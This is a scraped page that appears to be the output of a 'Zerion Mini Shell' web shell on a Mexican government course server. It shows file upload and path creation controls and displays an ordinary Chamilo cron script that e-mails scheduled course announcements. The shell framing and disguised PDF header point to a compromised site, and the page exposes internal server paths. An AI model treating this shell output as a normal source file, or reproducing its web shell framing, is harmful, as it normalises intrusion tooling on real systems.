%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/main/cron/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/main/cron/course_announcement.php

<?php
/* For licensing terms, see /license.txt */

use Chamilo\CoreBundle\Entity\Session;
use Chamilo\CourseBundle\Entity\CItemProperty;

require __DIR__.'/../inc/global.inc.php';

if (php_sapi_name() != 'cli') {
    exit; //do not run from browser
}

if (!api_get_configuration_value('course_announcement_scheduled_by_date')) {
    exit;
}

// Get all pending (visible) announcements where e-mail sent is empty
$dql = "SELECT a
            FROM ChamiloCourseBundle:CAnnouncement a
            JOIN ChamiloCourseBundle:CItemProperty ip
            WITH a.id = ip.ref AND a.cId = ip.course
            WHERE
                (a.emailSent != 1 OR
                a.emailSent IS NULL) AND
                ip.tool = '".TOOL_ANNOUNCEMENT."' AND
                ip.visibility = 1
            ORDER BY a.displayOrder DESC";

$qb = Database::getManager()->createQuery($dql);
$result = $qb->execute();

if (!$result) {
    exit;
}

$extraFieldValue = new ExtraFieldValue('course_announcement');
$today = date('Y-m-d');

// For each announcement, check rules about sending the notification at a
// specific date
foreach ($result as $announcement) {
    $sendNotification = $extraFieldValue->get_values_by_handler_and_field_variable($announcement->getId(), 'send_notification_at_a_specific_date');

    if ($sendNotification['value'] == 1) {
        $dateToSend = $extraFieldValue->get_values_by_handler_and_field_variable($announcement->getId(), 'date_to_send_notification');

        if ($today >= $dateToSend['value']) {
            $query = "SELECT ip FROM ChamiloCourseBundle:CItemProperty ip
                        WHERE ip.ref = :announcementId
                        AND ip.course = :courseId
                        AND ip.tool = '".TOOL_ANNOUNCEMENT."'
                        ORDER BY ip.iid DESC";

            $sql = Database::getManager()->createQuery($query);
            $itemProperty = $sql->execute(['announcementId' => $announcement->getId(), 'courseId' => $announcement->getCId()]);
            if (empty($itemProperty) or !isset($itemProperty[0])) {
                continue;
            }
            /* @var CItemProperty $itemPropertyObject */
            $itemPropertyObject = $itemProperty[0];
            // Check if the last record for this announcement was not a removal
            if ($itemPropertyObject->getLastEditType() == 'AnnouncementDeleted' or $itemPropertyObject->getVisibility() == 2) {
                continue;
            }
            /* @var Session $sessionObject */
            $sessionObject = $itemPropertyObject->getSession();
            if (!empty($sessionObject)) {
                $sessionId = $sessionObject->getId();
            } else {
                $sessionId = null;
            }
            $courseInfo = api_get_course_info_by_id($announcement->getCId());
            $senderId = $itemPropertyObject->getInsertUser()->getId();
            // Check if we need to send it to all users of all sessions that
            // include this course.
            $sendToUsersInSession = (int) $extraFieldValue->get_values_by_handler_and_field_variable(
                $announcement->getId(),
                'send_to_users_in_session'
            )['value'];

            $messageSentTo = AnnouncementManager::sendEmail(
                $courseInfo,
                $sessionId,
                $announcement->getId(),
                $sendToUsersInSession,
                false,
                null,
                $senderId,
                false,
                true
            );
        }
    }
}

Zerion Mini Shell 1.0